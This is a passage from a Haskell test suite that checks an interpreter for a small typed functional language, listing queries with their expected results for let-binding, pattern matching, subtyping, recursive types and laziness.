, testQuery "0.3_571428" $ LRSuccess "5/14"
, testQuery "0." $ LRSuccess "0"
, testQuery "0.0" $ LRSuccess "0"
, testQuery "0._" $ LRSuccess "0"
, testQuery "0._0" $ LRSuccess "0"
, testQuery "0.0_" $ LRSuccess "0"
, testQuery "0.0_0" $ LRSuccess "0"
, testQuery "3" $ LRSuccess "3"
, testQuery "3.2_4" $ LRSuccess "146/45"
, testQuery "~1" $ LRSuccess "~1.0"
, testQuery "~-2.4" $ LRSuccess "~-2.4"
, testQuery "NaN" $ LRSuccess "NaN"
, testQuery "~Infinity" $ LRSuccess "~Infinity"
, testQuery "~-Infinity" $ LRSuccess "~-Infinity"
]
, testQuery "\"\"" $ LRSuccess "\"\""
, testQuery "\"Hello \"" $ LRSuccess "\"Hello \""
, testQuery "True" $ LRSuccess "True"
, testQuery "False" $ LRSuccess "False"
, testQuery "\"1\"" $ LRSuccess "\"1\""
, testQuery "length.Text." $ LRSuccess "<?>"
, testQuery "let opentype T in openEntity @T !\"example\"" $ LRSuccess "<?>"
, testQuery "let opentype T in anchor.Entity $.Function openEntity @T !\"example\"" $
LRSuccess "\"!F332D47A-3C96F533-854E5116-EC65D65E-5279826F-25EE1F57-E925B6C3-076D3BEC\""
]
, testTree
"list construction"
[ testQuery "[]" $ LRSuccess $ show @[Text] []
, testQuery "[1]" $ LRSuccess $ "[1]"
, testQuery "[1,2,3]" $ LRSuccess "[1, 2, 3]"
]
, testTree
"functions"
[ testQuery "fn x => x" $ LRSuccess "<?>"
, testQuery "fn x => 1" $ LRSuccess "<?>"
, testQuery "fns x => x" $ LRSuccess "<?>"
, testQuery "fns x => 1" $ LRSuccess "<?>"
, testQuery "fns x y => y" $ LRSuccess "<?>"
, testQuery "fns x y z => [x,y,z]" $ LRSuccess "<?>"
]
, testTree
"predefined"
[ testQuery "abs.Integer" $ LRSuccess "<?>"
, testQuery "fst.Product" $ LRSuccess "<?>"
, testQuery "(+.Integer)" $ LRSuccess "<?>"
, testQuery "fns a b => a +.Integer b" $ LRSuccess "<?>"
, testQuery "(==.Entity)" $ LRSuccess "<?>"
, testQuery "fns a b => a ==.Entity b" $ LRSuccess "<?>"
]
, testTree
"let-binding"
[ testQuery "let in 27" $ LRSuccess "27"
, testQuery "let a=\"5\" in a" $ LRSuccess "\"5\""
, testQuery "let a=5 in a" $ LRSuccess "5"
, testQuery "let a=1 in let a=2 in a" $ LRSuccess "2"
, testQuery "let a=1;b=2 in a" $ LRSuccess "1"
, testQuery "let a=1;b=2 in b" $ LRSuccess "2"
, testQuery "let a=1;b=2 in b" $ LRSuccess "2"
, testQuery "let a=1;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a=1 ;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a= 1 ;b=\"2\" in b" $ LRSuccess "\"2\""
, testQuery "let a=7;b=a in a" $ LRSuccess "7"
, testQuery "let a=7;b=a in b" $ LRSuccess "7"
, testQuery "let a=2 in let b=a in b" $ LRSuccess "2"
, testTree
"recursive"
[ testQuery "let rec a=1 end in a" $ LRSuccess "1"
, testQuery "let rec a=1 end in let rec a=2 end in a" $ LRSuccess "2"
, testQuery "let rec a=1;a=2 end in a" $ LRCheckFail
, testQuery "let rec a=1;b=a end in b" $ LRSuccess "1"
, testQuery "let rec b=a;a=1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => x end in a 1" $ LRSuccess "1"
, testQuery "let rec a = fn x => x; b = a end in b" $ LRSuccess "<?>"
, testQuery "let rec a = fn x => x end in let rec b = a 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => x; b = a 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => b; b = b end in a" $ LRSuccess "<?>"
, testQuery "let rec a = fn x => 1; b = b end in a b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1; b = a b end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1 end in let rec b = a b end in b" $ LRSuccess "1"
, testQuery "let rec b = (fn x => 1) b end in b" $ LRSuccess "1"
, testQuery "let rec b = a b; a = fn x => 1 end in b" $ LRSuccess "1"
, testQuery "let rec a = fn x => 1; b = a c; c=b end in b" $ LRSuccess "1"
, testTree
"polymorphism"
[ testQuery "let rec i = fn x => x end in (succ.Integer $.Function i 1, i False)" $
LRSuccess "(2, False)"
, testQuery "let rec i = fn x => x; r = (succ.Integer $.Function i 1, i False) end in r" $
LRSuccess "(2, False)"
, testQuery "let rec r = (succ.Integer $.Function i 1, i False); i = fn x => x end in r" $
LRSuccess "(2, False)"
]
]
, testTree
"pattern"
[ testQuery "let (a,b) = (3,4) in a" $ LRSuccess "3"
, testQuery "let (a,b) = (3,4) in b" $ LRSuccess "4"
, testQuery "let (a,b): Integer *: Integer = (3,4) in (b,a)" $ LRSuccess "(4, 3)"
, testQuery "let rec (a,b): Integer *: Integer = (3,a +.Integer 4) end in (b,a)" $
LRSuccess "(7, 3)"
, testQuery "let rec (a,b) = (3,a +.Integer 4) end in (b,a)" $ LRSuccess "(7, 3)"
, testQuery "let rec (a,b) = (3,a +.Integer 4); (c,d) = (8,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (8, 9)))"
, testQuery
"let rec (a,b) = (3,a +.Integer 4); (c,d) = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b) = (3,a +.Integer 4); (c,d): Integer *: Integer = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b): Integer *: Integer = (3,a +.Integer 4); (c,d) = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
, testQuery
"let rec (a,b): Integer *: Integer = (3,a +.Integer 4); (c,d): Integer *: Integer = (b +.Integer 17,c +.Integer 1) end in (a,b,c,d)" $
LRSuccess "(3, (7, (24, 25)))"
]
, testTree
"rename"
[ testQuery "let f: List a -> Integer -> List a = fn x => fn _ => x in 0" $ LRSuccess "0"
, testQuery "let f: List a -> Integer -> List a = fn x => fn p => x in 0" $ LRSuccess "0"
, testQuery "let f: List a -> Integer *: Integer -> List a = fn x => fn (p,q) => x in 0" $
LRSuccess "0"
]
]
, testTree
"scoping"
[ testQuery "(fn b => fn a => b) a" LRCheckFail
, testQuery "let b=a in fn a => b" LRCheckFail
, testQuery "let b=a in ()" LRCheckFail
, testQuery "let rec b=a end in ()" LRCheckFail
, testQuery "let a=1 in let b=a in (fn a => b) 2" $ LRSuccess "1"
, testQuery "(fn a => let b=a in (fn a => b) 2) 1" $ LRSuccess "1"
]
, testTree
"name shadowing"
[ testQuery "let a=1 in (fn a => a) 2" $ LRSuccess "2"
, testQuery "let a=1 in (fn (Just a) => a) (Just 2)" $ LRSuccess "2"
, testQuery "let a=1 in let a=2 in a" $ LRSuccess "2"
, testQuery "(fn a => let a=2 in a) 1" $ LRSuccess "2"
, testQuery "(fn a => fn a => a) 1 2" $ LRSuccess "2"
, testQuery "let a=1 in 2 >-.Function match a => a end" $ LRSuccess "2"
, testQuery "let a=1 in Just 2 >-.Function match Just a => a end" $ LRSuccess "2"
, testQuery "1 >-.Function match a => 2 >-.Function match a => a end end" $ LRSuccess "2"
]
, testTree
"partial keywords"
[ testQuery "let i=1 in i" $ LRSuccess "1"
, testQuery "let inx=1 in inx" $ LRSuccess "1"
, testQuery "let l=1 in l" $ LRSuccess "1"
, testQuery "let le=1 in le" $ LRSuccess "1"
, testQuery "let letx=1 in letx" $ LRSuccess "1"
, testQuery "let letre=1 in letre" $ LRSuccess "1"
, testQuery "let letrecx=1 in letrecx" $ LRSuccess "1"
, testQuery "let tru=1 in tru" $ LRSuccess "1"
, testQuery "let truex=1 in truex" $ LRSuccess "1"
, testQuery "let f=1 in f" $ LRSuccess "1"
, testQuery "let fals=1 in fals" $ LRSuccess "1"
, testQuery "let falsex=1 in falsex" $ LRSuccess "1"
]
, testTree
"duplicate bindings"
[ testQuery "let rec a=1;a=1 end in a" $ LRCheckFail
, testQuery "let red a=1;a=2 end in a" $ LRCheckFail
, testQuery "let rec a=1;b=0;a=2 end in a" $ LRCheckFail
]
, testTree
"lexical scoping"
[ testQuery "let a=1 in let b=a in let a=3 in a" $ LRSuccess "3"
, testQuery "let rec a=1;b=a;a=3 end in a" $ LRCheckFail
, testQuery "let a=1 in let b=a in let a=3 in b" $ LRSuccess "1"
, testQuery "let rec a=1;b=a;a=3 end in b" $ LRCheckFail
]
, testTree
"operator"
[ testQuery "0 ==.Entity 1" $ LRSuccess "False"
, testQuery "1 ==.Entity 1" $ LRSuccess "True"
, testQuery "0 /=.Entity 1" $ LRSuccess "True"
, testQuery "1 /=.Entity 1" $ LRSuccess "False"
, testQuery "0 <=.Number 1" $ LRSuccess "True"
, testQuery "1 <=.Number 1" $ LRSuccess "True"
, testQuery "2 <=.Number 1" $ LRSuccess "False"
, testQuery "0 <.Number 1" $ LRSuccess "True"
, testQuery "1 <.Number 1" $ LRSuccess "False"
, testQuery "2 <.Number 1" $ LRSuccess "False"
, testQuery "0 >=.Number 1" $ LRSuccess "False"
, testQuery "1 >=.Number 1" $ LRSuccess "True"
, testQuery "2 >=.Number 1" $ LRSuccess "True"
, testQuery "0 >=.Number ~1" $ LRSuccess "False"
, testQuery "1 >=.Number ~1" $ LRSuccess "True"
, testQuery "2 >=.Number ~1" $ LRSuccess "True"
, testQuery "0 >.Number 1" $ LRSuccess "False"
, testQuery "1 >.Number 1" $ LRSuccess "False"
, testQuery "2 >.Number 1" $ LRSuccess "True"
, testQuery "1 ==.Entity ~1" $ LRSuccess "False"
, testQuery "0 ==.Number 1" $ LRSuccess "False"
, testQuery "1 ==.Number 1" $ LRSuccess "True"
, testQuery "1 ==.Number ~1" $ LRSuccess "True"
, testQuery "0 ==.Number ~1" $ LRSuccess "False"
, testQuery "0 /=.Number 1" $ LRSuccess "True"
, testQuery "1 /=.Number 1" $ LRSuccess "False"
, testQuery "1 /=.Number ~1" $ LRSuccess "False"
, testQuery "0 /=.Number ~1" $ LRSuccess "True"
, testQuery "let using Integer in 7+8" $ LRSuccess "15"
, testQuery "let using Integer in 7 +8" $ LRSuccess "15"
, testQuery "let using Integer in 7+ 8" $ LRSuccess "15"
, testQuery "let using Integer in 7 + 8" $ LRSuccess "15"
, testQuery "\"abc\"<>.Text\"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\" <>.Text\"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\"<>.Text \"def\"" $ LRSuccess "\"abcdef\""
, testQuery "\"abc\" <>.Text \"def\"" $ LRSuccess "\"abcdef\""
, testQuery "let using Integer; f = fn x => x + 2 in f -1" $ LRSuccess "1"
, testQuery "let using Integer; f = 2 in f - 1" $ LRSuccess "1"
, testTree
"precedence"
[ testQuery "let using Integer in succ $.Function 2 * 3" $ LRSuccess "7"
, testQuery "let using Integer in 3 * 2 + 1" $ LRSuccess "7"
, testQuery "let using Integer in 2 * 2 * 2" $ LRSuccess "8"
, testQuery "let using Rational in 12 / 2 / 2" $ LRSuccess "3"
, testQuery "0 ==.Entity 0" $ LRSuccess "True"
, testQuery "0 ==.Entity 0 ==.Entity 0" $ LRCheckFail
]
]
, testTree
"boolean"
[ testQuery "True && True" $ LRSuccess "True"
, testQuery "True && False" $ LRSuccess "False"
, testQuery "False && True" $ LRSuccess "False"
, testQuery "False && False" $ LRSuccess "False"
, testQuery "True || True" $ LRSuccess "True"
, testQuery "True || False" $ LRSuccess "True"
, testQuery "False || True" $ LRSuccess "True"
, testQuery "False || False" $ LRSuccess "False"
, testQuery "not True" $ LRSuccess "False"
, testQuery "not False" $ LRSuccess "True"
]
, testTree
"text"
[ testQuery "\"pqrs\"" $ LRSuccess "\"pqrs\""
, testQuery "length.Text \"abd\"" $ LRSuccess "3"
, testQuery "section.Text 4 3 \"ABCDEFGHIJKLMN\"" $ LRSuccess "\"EFG\""
]
, testTree
"if-then-else"
[ testQuery "if True then 3 else 4" $ LRSuccess "3"
, testQuery "if False then 3 else 4" $ LRSuccess "4"
, testQuery "if False then if True then 1 else 2 else if True then 3 else 4" $ LRSuccess "3"
]
, testTree
"product"
[testQuery "fst.Product (7,9)" $ LRSuccess "7", testQuery "snd.Product (7,9)" $ LRSuccess "9"]
, testTree
"sum"
[ testQuery "from.Sum (fn a => (\"Left\",a)) (fn a => (\"Right\",a)) $.Function Left \"x\"" $
LRSuccess "(\"Left\", \"x\")"
, testQuery "from.Sum (fn a => (\"Left\",a)) (fn a => (\"Right\",a)) $.Function Right \"x\"" $
LRSuccess "(\"Right\", \"x\")"
]
, testTree
"type-signature"
[ testQuery "let i = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : tvar -> tvar = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : a -> a = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : Number -> Number = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let i : Text -> Text = fn x => x in i 3" $ LRCheckFail
, testQuery "let i : a -> a = fn x => x in i \"t\"" $ LRSuccess "\"t\""
, testQuery "let i : Number -> Number = fn x => x in i \"t\"" $ LRCheckFail
, testQuery "let i : Text -> Text = fn x => x in i \"t\"" $ LRSuccess "\"t\""
, testQuery "let i : a -> a = fn x => x in 0" $ LRSuccess "0"
, testQuery "let i : a -> Number = fn x => x in 0" $ LRCheckFail
, testQuery "let i : Number -> a = fn x => x in 0" $ LRCheckFail
, testQuery "let i : Number -> Number = fn x => x in 0" $ LRSuccess "0"
, testQuery "let i : Number +: Boolean = Left 5 in i" $ LRSuccess "Left 5"
, testQuery "let i : Number +: Boolean = Right False in i" $ LRSuccess "Right False"
, testQuery "let i : Maybe Number = Just 5 in i" $ LRSuccess "Just 5"
, testQuery "let i : Maybe Number = Nothing in i" $ LRSuccess "Nothing"
, testTree
"polar"
[ testQuery "let x : Text | Number = 3 in x" $ LRSuccess "3"
, testQuery "let f : Any -> Integer = fn _ => 3 in f ()" $ LRSuccess "3"
, testQuery "(fn x => (x,x)) : ((a & Number) -> Showable *: a)" $ LRSuccess "<?>"
, testQuery "let f = (fn x => (x,x)) : (a & Number) -> Showable *: a in f 3" $ LRSuccess "(3, 3)"
, testQuery "let f : (a & Number) -> Showable *: a = fn x => (x,x) in f 3" $ LRSuccess "(3, 3)"
]
]
, testTree
"patterns"
[ testQuery "(fn a => 5) 2" $ LRSuccess "5"
, testQuery "(fn a => a) 2" $ LRSuccess "2"
, testQuery "(fn _ => 5) 2" $ LRSuccess "5"
, testQuery "(fn a@b => (a,b)) 2" $ LRSuccess "(2, 2)"
, testQuery "(fn (a,b) => a +.Integer b) (5,6)" $ LRSuccess "11"
]
, testTree
"match-to"
[ testTree
"basic"
[ testQuery "2 >-.Function match a => 5 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => 5; a => 3 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => 5; a => 3; end" $ LRSuccess "5"
, testQuery "2 >-.Function match a => a end" $ LRSuccess "2"
, testQuery "2 >-.Function match _ => 5 end" $ LRSuccess "5"
, testQuery "2 >-.Function match _ => 5; _ => 3 end" $ LRSuccess "5"
, testQuery "2 >-.Function match a@b => (a,b) end" $ LRSuccess "(2, 2)"
]
, testTree
"Boolean"
[ testQuery "True >-.Function match True => 5; False => 7 end" $ LRSuccess "5"
, testQuery "False >-.Function match True => 5; False => 7 end" $ LRSuccess "7"
, testQuery "True >-.Function match False => 7; True => 5 end" $ LRSuccess "5"
, testQuery "False >-.Function match False => 7; True => 5 end" $ LRSuccess "7"
]
, testTree
"Number"
[ testQuery "37 >-.Function match 37 => True; _ => False end" $ LRSuccess "True"
, testQuery "38 >-.Function match 37 => True; _ => False end" $ LRSuccess "False"
, testQuery "-24.3 >-.Function match 37 => 1; -24.3 => 2; _ => 3 end" $ LRSuccess "2"
]
, testTree
"String"
[ testQuery "\"Hello\" >-.Function match \"Hello\" => True; _ => False end" $ LRSuccess "True"
, testQuery "\"thing\" >-.Function match \"Hello\" => True; _ => False end" $ LRSuccess "False"
, testQuery "\"thing\" >-.Function match \"Hello\" => 1; \"thing\" => 2; _ => 3 end" $ LRSuccess "2"
]
, testTree
"Either"
[ testQuery "Left 3 >-.Function match Left a => a; Right _ => 1 end" $ LRSuccess "3"
, testQuery "Right 4 >-.Function match Left a => succ.Integer a; Right a => a end" $ LRSuccess "4"
, testQuery "Right 7 >-.Function match Right 4 => True; _ => False end" $ LRSuccess "False"
, testQuery "Right 7 >-.Function match Right 4 => 1; Right 7 => 2; Left _ => 3; _ => 4 end" $
LRSuccess "2"
]
, testTree "Unit" [testQuery "() >-.Function match () => 4 end" $ LRSuccess "4"]
, testTree "Pair" [testQuery "(2,True) >-.Function match (2,a) => a end" $ LRSuccess "True"]
, testTree
"Maybe"
[ testQuery "Just 3 >-.Function match Just a => succ.Integer a; Nothing => 7 end" $ LRSuccess "4"
, testQuery "Nothing >-.Function match Just a => succ.Integer a; Nothing => 7 end" $ LRSuccess "7"
]
, testTree
"List"
[ testQuery "[] >-.Function match [] => True; _ => False end" $ LRSuccess "True"
, testQuery "[] >-.Function match _::_ => True; _ => False end" $ LRSuccess "False"
, testQuery "[1,2] >-.Function match [] => True; _ => False end" $ LRSuccess "False"
, testQuery "[3,4] >-.Function match _::_ => True; _ => False end" $ LRSuccess "True"
, testQuery "[3] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [])"
, testQuery "[3,4] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [4])"
, testQuery "[3,4,5] >-.Function match a::b => (a,b) end" $ LRSuccess "(3, [4, 5])"
, testQuery "[3] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "2"
, testQuery "[3,4] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "1"
, testQuery "[3,4,5] >-.Function match [a,b] => 1; _ => 2 end" $ LRSuccess "2"
, testQuery "[3,4] >-.Function match [a,b] => (a,b) end" $ LRSuccess "(3, 4)"
]
]
, testTree
"match"
[ testQuery "(match a => 5 end) 2" $ LRSuccess "5"
, testQuery "(match a => 5; a => 3 end) 2" $ LRSuccess "5"
, testQuery "(match a => 5; a => 3; end) 2" $ LRSuccess "5"
, testQuery "(match a => a end) 2" $ LRSuccess "2"
, testQuery "(match _ => 5 end) 2" $ LRSuccess "5"
, testQuery "(match _ => 5; _ => 3 end) 2" $ LRSuccess "5"
, testQuery "(match a@b => (a,b) end) 2" $ LRSuccess "(2, 2)"
]
, testTree
"matches"
[ testQuery "(matches a => 5 end) 2" $ LRSuccess "5"
, testQuery "(matches a b => a +.Integer b end) 2 3" $ LRSuccess "5"
, testQuery
"(matches Nothing Nothing => 1; Nothing (Just a) => a +.Integer 10; (Just a) _ => a +.Integer 20; end) (Just 1) (Just 2)" $
LRSuccess "21"
, testQuery
"(matches Nothing Nothing => 1; (Just a) Nothing => a +.Integer 10; _ (Just a) => a +.Integer 20; end) (Just 1) (Just 2)" $
LRSuccess "22"
, testQuery
"(matches Nothing Nothing => 1; (Just a) Nothing => a +.Integer 10; Nothing (Just a) => a +.Integer 20; (Just a) (Just b) => a +.Integer b +.Integer 30; end) (Just 1) (Just 2)" $
LRSuccess "33"
]
, testTree
"type-operator"
[ testSameType True "Unit" "Unit" ["()"]
, testSameType True "List a" "List a" []
, testSameType True "a *: b +: c *: d" "(a *: b) +: (c *: d)" []
, testSameType True "a *: b *: c *: d" "a *: (b *: (c *: d))" []
, testSameType
True
"Integer *: Boolean *: Integer *: Boolean"
"Integer *: (Boolean *: (Integer *: Boolean))"
["(3, (True, (7, False)))"]
]
, testTree
"subtype"
[ testQuery "let i : Integer -> Number = fn x => x in i 3" $ LRSuccess "3"
, testQuery "let a : Integer = 3; b : Number = a in b" $ LRSuccess "3"
, testQuery "let i : FiniteSetModel -a -> SetModel a = fn x => x in 3" $ LRSuccess "3"
, testQuery "let i : FiniteSetModel {-a,+Integer} -> SetModel a = fn x => x in 3" $ LRSuccess "3"
]
, testTree
"subsume"
[ testQuery "let rec a: Unit = a end in ()" $ LRSuccess "()"
, testQuery "let rec a: Integer = a end in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = error.Function \"undefined\" in ()" $ LRSuccess "()"
, testQuery "let rec a: Integer|Text = a end in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3 in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3; b: Integer|Text = 3 in ()" $ LRSuccess "()"
, testQuery "let a: Integer|Text = 3; b: Integer|Text = a in ()" $ LRSuccess "()"
, testQuery "let rec r = r end in let a: Integer|Text = r in ()" $ LRSuccess "()"
, testQuery "let rec r = r end; a: Integer|Text = r in ()" $ LRSuccess "()"
, testQuery "let rec r = a; a: Integer|Text = r end in ()" $ LRSuccess "()"
, testQuery "let rec a: None = a end in ()" $ LRSuccess "()"
, testQuery "let rec r = r end in let a : None = r in ()" $ LRSuccess "()"
, testQuery "let rec r = r end; a: None = r in ()" $ LRSuccess "()"
, testQuery "let rec r = a; a: None = r end in ()" $ LRSuccess "()"
, testQuery "let a: List (Integer|Text) = [] in a" $ LRSuccess "[]"
, testQuery "let a: List Integer | List Text = [] in a" $ LRSuccess "[]"
, testSameType True "Integer" "Integer" ["56"]
, testSameType False "List (Integer|Text)" "List (Integer|Text)" ["[]"]
, testSameType False "List Integer | List Text" "List Integer | List Text" ["[]"]
, testSameType False "List (Integer|Text)" "List Integer | List Text" ["[]"]
, testQuery "let a: Integer|Text = 3; b: List Integer | List Text = [a] in b" $ LRSuccess "[3]"
, testQuery "newMem.WholeModel >>= fn m => m := 1 >> get m >>= outputLn.Env" LRCheckFail
, testQuery
"newMem.WholeModel >>= fn m => let n: WholeModel a = m: WholeModel a; n1: WholeModel Integer = n: WholeModel Integer; n2: WholeModel Text = n: WholeModel Text in n1 := 1 >> get n2 >>= outputLn.Env"
LRCheckFail
]
, testTree
"conversion"
[ testQuery ("((fn x => Just x): Integer -> Maybe Integer) 34 >-.Function match Just x => x end") $
LRSuccess "34"
, testQuery ("((fn x => [x]): xy -> List1 xy: Integer -> List Integer) 79") $ LRSuccess "[79]"
, testQuery ("((fn x => x :: []): Integer -> List Integer) 57 >-.Function match x::_ => x end") $
LRSuccess "57"
]
, testTree
"recursive"
[ testQuery "let x : rec a, List a = [] in x" $ LRSuccess "[]"
, let
atree = ["[]", "[[]]", "[[[[]]]]", "[[], [[]]]"]
in testTree
"equivalence"
[ testSameType True "Integer" "Integer" ["0"]
, testSameType True "Integer" "rec a, Integer" ["0"]
, testSameType True "List Integer" "List (rec a, Integer)" ["[0]"]
, testSameType True "rec a, List a" "rec a, List a" atree
, testSameType True "rec a, List a" "rec a, List (List a)" atree
, ignoreTestBecause "ISSUE #61" $
testSameType
False
"rec a, (Maybe a | List a)"
"(rec a, Maybe a) | (rec b, List b)"
["[]", "Nothing", "Just []", "[[]]"]
, ignoreTestBecause "ISSUE #61" $
testSameType
False
"rec a, (Maybe a | List a)"
"(rec a, Maybe a) | (rec a, List a)"
["[]", "Nothing", "Just []", "[[]]"]
, testSubtype True "rec a, List a" "Showable" []
, testSubtype True "List (rec a, List a)" "Showable" []
, testSubtype True "rec a, List a" "List Showable" ["[]"]
, testSubtype True "List (rec a, List a)" "List Showable" ["[]"]
, testSameType False "None" "None" []
, testSameType False "rec a, a" "None" []
, testSameType False "List (rec a, a)" "List None" ["[]"]
, testSameType True "rec a, Integer" "Integer" ["0"]
, testSameType True "List (rec a, Integer)" "List Integer" ["[0]"]
, testTree
"unroll"
[ testSameType True "rec a, List a" "List (rec a, List a)" atree
, testSameType
False
"rec a, (List a|Integer)"
"List (rec a, (List a|Integer))|Integer"
["[]"]
, testSameType
False
"rec a, (List a|Integer)"
"List (rec a, (List a|Integer))|Integer"
["2"]
, testSameType
False
"rec a, List (a|Integer)"
"List ((rec a, List (a|Integer))|Integer)"
["[]"]
, testSameType
False
"rec a, List (a|Integer)"
"List ((rec a, List (a|Integer))|Integer)"
["[3]"]
, testSameType
False
"rec a, List (a|Integer)"
"List (rec a, (List (a|Integer)|Integer))"
["[]"]
, testSameType
False
"rec a, List (a|Integer)"
"List (rec a, (List (a|Integer)|Integer))"
["[3]"]
]
]
, testTree
"lazy"
[ testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in (fn x => lazy x 1) (error.Function \"strict\")" $
LRSuccess "1"
, testQuery "let lazy: Any -> Integer -> Integer = fns _ x => x in let rec x = lazy x 1 end in x" $
LRSuccess "1"
, testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in let x = lazy (error.Function \"strict\") 1 in x" $
LRSuccess "1"
, testQuery "let lazy: Any -> Integer -> Integer = fns _ x => x in let rec f = lazy f end in f 1" $
LRSuccess "1"
, testQuery
"let lazy: Any -> Integer -> Integer = fns _ x => x in let f = lazy (error.Function \"strict\") in f 1" $
LRSuccess "1"
]
, testTree
"subsume"
[ testQuery "let rec rval: rec a, Maybe a = rval end in ()" $ LRSuccess "()"
, testQuery "let rec rval: rec a, Maybe a = Just rval end in ()" $ LRSuccess "()"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount" $
LRSuccess "<?>"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount Nothing" $
LRSuccess "0"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1: (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount" $
LRSuccess "<?>"
, testQuery
"let using Function; using Integer; rec rcount = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec a, Maybe a) -> Integer = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = rcount1; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec x, Maybe x) -> Integer = rcount1; rcount1: (rec x, Maybe x) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in ()" $
LRSuccess "()"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount = rcount1; rcount1: (rec x, Maybe x) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; rec rcount: (rec xa, Maybe xa) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1: (rec xb, Maybe xb) -> Integer = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testQuery
"let using Function; using Integer; rec rcount: (rec xc, Maybe xc) -> Integer = match Nothing => 0; Just y => succ $ rcount1 y end; rcount1 = match Nothing => 0; Just y => succ $ rcount y end end in rcount $ Just $ Just $ Just $ Just $ Just Nothing" $
LRSuccess "5"
, testTree
"lazy"
[ testQuery
"let using Function; using Integer; f: (x -> Integer) -> Maybe x -> Integer = fn rc => match Nothing => 0; Just y => succ $ rc y end in let rec rcount: (rec z, Maybe z) -> Integer = rcount1; rcount1 = f rcount end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; f: ((rec x, Maybe x) -> Integer) -> (rec x, Maybe x) -> Integer = fn rc => match Nothing => 0; Just y => succ $ rc y end in let rec rcount: (rec z, Maybe z) -> Integer = rcount1; rcount1 = f rcount end in rcount $ Just Nothing" $
LRSuccess "1"
, testQuery
"let using Function; using Integer; f: (Integer -> Integer) -> Integer -> Integer = fns rc x => if x ==.Entity 0 then 0 else succ $ rc (x - 1) in let rec rcount: Integer -> Integer = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f = fns _ x => x in let rec rcount = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: Any -> Integer -> Integer = fns _ x => x in let rec rcount = f (seq (error \"strict\") rcount) end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: Any -> Integer -> Integer = fns _ x => x in let rec rcount = f (seq rcount (error \"strict\")) end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
"let using Function; f: (Integer -> Integer) -> Integer -> Integer = fns _ x => x in let rec rcount = rcount1; rcount1 = f rcount end in rcount 1" $
LRSuccess "1"
, testQuery
